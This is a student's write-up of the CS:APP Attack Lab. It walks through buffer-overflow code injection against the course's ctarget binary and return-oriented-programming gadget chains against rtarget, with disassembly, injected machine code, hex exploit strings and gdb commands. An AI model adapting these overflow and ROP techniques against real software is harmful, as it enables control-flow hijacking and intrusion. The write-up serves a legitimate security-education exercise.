# Attack Lab 10225501432 邓博昊 target66 ## ctarget 使用`gdb ctarget`调试程序 使用`disass `获得``的汇编代码 使用`r -i {phase_i_raw}`带入`exploit string`运行程序 ### Level 1 `ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数 我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数 **1)查看`test`、`touch1`函数C代码** 先贴出题干所给函数代码 ```c void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); } void touch1() { vlevel = 1; printf("Touch!: You called touch1()\n"); validate(1); exit(0); } ``` **2)查看`getbuf`、`touch1`函数汇编代码** 获取`getbuf`、`touch1`函数汇编代码 ```assembly Dump of assembler code for function getbuf: 0x0000555555401a65 <+0>: sub $0x18,%rsp 0x0000555555401a69 <+4>: mov %rsp,%rdi 0x0000555555401a6c <+7>: call 0x555555401d05 0x0000555555401a71 <+12>: mov $0x1,%eax 0x0000555555401a76 <+17>: add $0x18,%rsp 0x0000555555401a7a <+21>: ret End of assembler dump. ``` ```assembly Dump of assembler code for function touch1: 0x0000555555401a7b <+0>: sub $0x8,%rsp 0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc 0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7 0x0000555555401a90 <+21>: call 0x555555400e10 0x0000555555401a95 <+26>: mov $0x1,%edi 0x0000555555401a9a <+31>: call 0x555555401f75 0x0000555555401a9f <+36>: mov $0x0,%edi 0x0000555555401aa4 <+41>: call 0x555555400f80 End of assembler dump. ``` `getbuf`函数开辟了24个字节的栈空间 **3)构建攻击字符串** 我们目前可以知道的: * 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数 * 栈的生长方向向内存低位生长 * `getbuf`函数ret地址为%rsp+0x18 * `touch1`函数入口为`0x0000555555401a7b` 我们需要构建一个字符串,其需要满足的条件: * 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b` * 数字需要的字节数为`24+8 = 32`位 * 符合小端法 字符串数据按输入顺序从低地址向高地址存储数据 无意义的字符均用0表示,我们需要构建的字符串即为 ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7b 1a 40 55 55 55 00 00 ``` 将上述字符串存入`phase_1.txt` **4)将字符串转化为字节码并运行程序** 输入以下命令即可完成`touch1` ```bash ./hex2raw < phase_1.txt > phase_1_raw.txt gdb ctarget r -i phase_1_raw.txt ``` ### Level 2 任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数 **1)查看`touch2`函数C代码** 题干所给`touch2`函数C代码如下 ```c void touch2(unsigned val){ vlevel = 2; /* Part of validation protocol */ if (val == cookie){ printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } ``` `touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功 **2)查看`touch2`函数汇编代码** `touch`函数汇编代码如下 ```assembly Dump of assembler code for function touch2: 0x0000555555401aa9 <+0>: sub $0x8,%rsp 0x0000555555401aad <+4>: mov %edi,%edx 0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc 0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 0x0000555555401abf <+22>: je 0x555555401aeb 0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448 0x0000555555401ac8 <+31>: mov $0x1,%edi 0x0000555555401acd <+36>: mov $0x0,%eax 0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt> 0x0000555555401ad7 <+46>: mov $0x2,%edi 0x0000555555401adc <+51>: call 0x555555402045 0x0000555555401ae1 <+56>: mov $0x0,%edi 0x0000555555401ae6 <+61>: call 0x555555400f80 0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420 0x0000555555401af2 <+73>: mov $0x1,%edi 0x0000555555401af7 <+78>: mov $0x0,%eax 0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt> 0x0000555555401b01 <+88>: mov $0x2,%edi 0x0000555555401b06 <+93>: call 0x555555401f75 0x0000555555401b0b <+98>: jmp 0x555555401ae1 End of assembler dump. ``` 则`touch2`函数入口地址为`0x0000555555401aa9` **3)构建汇编代码** 实验给出的建议: - 使用ret指令调用touch2函数 - touch2的参数要存在rdi寄存器中 - 插入的代码应该设置寄存器存着Cookie,然后再返回touch2 - 不用jmp和call指令 - 使用gcc和objdump生成要插入代码的字节码格式 我的`cookie = 0x3e8dee8f` 则我们需要构建的汇编代码应该为 ```assembly movq $0x3e8dee8f,%rdi movq $0x0000555555401aa9,%rsi # 存储touch2入口地址 push %rsi ret ``` 将上述代码存储在`phase_2_assembly.s` **4)获得机械码** 使用如下命令生成并反编译获得机械码 ```bash gcc -c phase_2_assembly.s -o phase_2_assembly.o objdump -d phase_2_assembly.o > phase_2_assembly.d ``` 打开`phase_2_assembly.d` ```assembly Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi 7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi e: 55 00 00 11: 56 push %rsi 12: c3 ret ``` 则这段程序机械码为 ``` 48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3 ``` **5)构建攻击字符串** 思路为: * `getbuff`函数获取攻击字符串 * 字符串使得`getbuff`函数返回至`buff`数组起点 * `buff`数组起点按顺序储存机械码 * 程序按照储存的机械码执行我们设计好的汇编指令 因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容 由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65` 使用如下命令: ```bash gdb ctarget b *0x0000555555401a65 r -qi phase_1_raw.txt stepi p &rsp ``` 输出: ```bash $1 = (void *) 0x55621b58 ``` 故构建如下字符串 ``` 48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3 00 00 00 00 00 58 1b 62 55 00 00 00 00 ``` 将上述字符串储存在`phase_2.txt`中 **6)将字符串转化为字节码并运行程序** 输入以下命令即可完成`touch2` ```bash ./hex2raw < phase_2.txt > phase_2_raw.txt gdb ctarget r -i phase_2_raw.txt ``` ### Level 3 任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数 注意`touch3`函数内部调用了`hexmatch`函数 **1)查看`touch3`、`hexmatch`函数C代码** ```C int hexmatch(unsigned val, char *sval){ char cbuf[110]; char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } ``` hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入 **2)查看`test`、`touch3`函数汇编代码** ```assembly Dump of assembler code for function test: 0x0000555555401c32 <+0>: sub $0x8,%rsp 0x0000555555401c36 <+4>: mov $0x0,%eax 0x0000555555401c3b <+9>: call 0x555555401a65 0x0000555555401c40 <+14>: mov %eax,%edx 0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0 0x0000555555401c49 <+23>: mov $0x1,%edi 0x0000555555401c4e <+28>: mov $0x0,%eax 0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt> 0x0000555555401c58 <+38>: add $0x8,%rsp 0x0000555555401c5c <+42>: ret End of assembler dump. ``` ```assembly Dump of assembler code for function touch3: 0x0000555555401bc0 <+0>: push %rbx 0x0000555555401bc1 <+1>: mov %rdi,%rbx 0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc 0x0000555555401bce <+14>: mov %rdi,%rsi 0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 0x0000555555401bd7 <+23>: call 0x555555401b0d 0x0000555555401bdc <+28>: test %eax,%eax 0x0000555555401bde <+30>: je 0x555555401c0d 0x0000555555401be0 <+32>: mov %rbx,%rdx 0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470 0x0000555555401bea <+42>: mov $0x1,%edi 0x0000555555401bef <+47>: mov $0x0,%eax 0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt> 0x0000555555401bf9 <+57>: mov $0x3,%edi 0x0000555555401bfe <+62>: call 0x555555401f75 0x0000555555401c03 <+67>: mov $0x0,%edi 0x0000555555401c08 <+72>: call 0x555555400f80 0x0000555555401c0d <+77>: mov %rbx,%rdx 0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498 0x0000555555401c17 <+87>: mov $0x1,%edi 0x0000555555401c1c <+92>: mov $0x0,%eax 0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt> 0x0000555555401c26 <+102>: mov $0x3,%edi 0x0000555555401c2b <+107>: call 0x555555402045 0x0000555555401c30 <+112>: jmp 0x555555401c03 End of assembler dump. ``` 可以看出: * `test`函数入口为`0x0000555555401c32` * `touch3`函数入口为`0x0000555555401bc0` **3)构建汇编代码** 阅读题干所给提示: * 需要一个字符串表示`cookie`值,不需要表示开头`0x` * 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0 * `man ascii` 可以用来查看每个字符的16进制表示 * 需要在`%rdi`寄存器内储存字符串的地址 * 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎 因此汇编代码设计思路为: * 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器 * 压入含`touch3`入口地址的寄存器 * ret返回 注意`cookie`值需要转化为16进制ASCII码表示后使用 根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为 ``` 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 ``` 我们还需要知道`test函数`栈帧地址 输入以下命令查看 ```assembly gdb ctarget b *0x0000555555401c32 # test函数入口 r -qi phase_1_raw.txt stepi p $rsp ``` 结果显示 ```bash $1 = (void *) 0x55621b78 ``` 因此我们需要构建的汇编代码为 ```assembly movq $0x55621b78,%rdi movq $0x0000555555401bc0,%rdx push %rdx ret ``` 将上述内容储存在`phase_3_assembly.s` **4)获得机械码** 输入以下命令获得机械码 ```bash gcc -c phase_3_assembly.s -o phase_3_assembly.o objdump -d phase_3_assembly.o > phase_3_assembly.d ``` 打开`phase_3_assembly.d` ```assembly Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi 7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx e: 55 00 00 11: 52 push %rdx 12: c3 ret ``` 则机械码为 ``` 48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3 ``` **5)构建攻击字符串** 思路为: * `getbuff`函数获取攻击字符串 * 字符串足够长,使得`cookie`的16进制值储存在test栈空间 * 字符串使得`getbuff`函数返回至`buff`数组起点 * `buff`数组起点按顺序储存机械码 * 程序按照储存的机械码执行我们设计好的汇编指令 `buff`数组起点的内存地址由Level 2可知为`0x55621b58` 故构建如下字符串 ``` 48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3 00 00 00 00 00 58 1b 62 55 00 00 00 00 33 65 38 64 65 65 38 66 00 ``` 将上述字符串储存在`phase_3.txt`中 **6)将字符串转化为字节码并运行程序** 输入以下命令即可完成`touch3` ```bash ./hex2raw < phase_3.txt > phase_3_raw.txt gdb ctarget r -i phase_3_raw.txt ``` ## rtarget 题干所给信息翻译如下: > 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击: > > - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址 > - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误 > > 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。 使用如下命令获得`farm.c`的反汇编 ``` gcc -c -Og farm.c objdump -d farm.o > farm.d ``` ### Level 2 这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行 **1)选取gadgets** 阅读题目提示: * 我们利用的gadget是从startfarm到midfarm之间的 * 只需要两个gadget * 当使用popq指令时,你的exploit string中必须含有一个地址和data 因此我们需要的汇编指令为 ```assembly popq %rax movq %rax,%rdi ``` 对应的编码为 ``` popq %rax > 58 movq %rax,%rdi > 48 89 c7 ``` `popq %rax`对应函数为 ```assembly Dump of assembler code for function getval_373: 0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax 0x0000555555401c75 <+5>: c3 ret End of assembler dump. ``` 我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74` `movq %rax,%rdi`对应函数为 ```assembly Dump of assembler code for function getval_424: 0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax 0x0000555555401c89 <+5>: c3 ret End of assembler dump. ``` 我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85` 反汇编得`touch2`函数入口为`0x0000555555401aa9 ` **2)构建攻击字符串** 需要使用的地址 ``` 0x0000555555401aa9 # touch2函数入口地址 0x0000555555401c85 # 48 89 c7 movq %rax, %rdi 0x3e8dee8f # cookie 0x0000555555401c74 # 58 popq %rax ``` 构建的`phase_4.txt`如下 ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 1c 40 55 55 55 00 00 8f ee 8d 3e 00 00 00 00 85 1c 40 55 55 55 00 00 a9 1a 40 55 55 55 00 00 ``` **3)将字符串转化为字节码并运行程序** 输入以下命令即可完成`touch2` ```bash ./hex2raw < phase_4.txt > phase_4_raw.txt gdb rtarget r -i phase_4_raw.txt ``` ### Level 3 这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。 **1)选取gadgets** 阅读题目提示: * 建议查看movl指令对4字节以上操作的影响 * 官方解决方法用了8个gadgets 由`ctarget level 3`可知,`cookie`的ASCII字符串表示为 ``` 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 ``` 因为栈地址随机,因此需要找到基准地址,此处选取%rsp 具体操作: - 把%rsp里的栈指针地址放到%rdi - 拿到bias的值放到%rsi - 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi - 调用touch3 因此我们需要的汇编指令为 ``` movq %rsp,%rax movq %rax,%rdi popq %rax movl %eax,%edx movl %edx,%ecx movl %ecx,%esi lea (%rdi,%rsi,1),%rax movq %rax,%rdi ``` 对应的编码、函数、地址为 ``` movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3 movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c popq %rax > 58 > getval_373 > 0x0000555555401c74 movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5 movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5 lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85 ``` **2)构建攻击字符串** 需要使用的地址 ``` 0x0000555555401cb3 # movq %rsp,%rax 0x0000555555401c8c # movq %rax,%rdi 0x0000555555401c74 # popq %rax 0x48 # bias = 9*8-->0x48 0x0000555555401ca5 # movl %eax,%edx 0x0000555555401cac # movl %edx,%ecx 0x0000555555401cd5 # movl %ecx,%esi 0x0000555555401c9e # lea (%rdi,%rsi,1),%rax 0x0000555555401c85 # movq %rax,%rdi 0x0000555555401bc0 # touch3 0x3365386465653866 # hex cookie string ``` 构建的攻击字符串为 ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 1c 40 55 55 55 00 00 8c 1c 40 55 55 55 00 00 74 1c 40 55 55 55 00 00 48 00 00 00 00 00 00 00 a5 1c 40 55 55 55 00 00 ac 1c 40 55 55 55 00 00 d5 1c 40 55 55 55 00 00 9e 1c 40 55 55 55 00 00 85 1c 40 55 55 55 00 00 c0 1b 40 55 55 55 00 00 33 65 38 64 65 65 38 66 ``` 保存为`phase_5.txt` **3)将字符串转化为字节码并运行程序** 输入以下命令即可完成`touch23 ```bash ./hex2raw < phase_5.txt > phase_5_raw.txt gdb rtarget r -i phase_5_raw.txt ```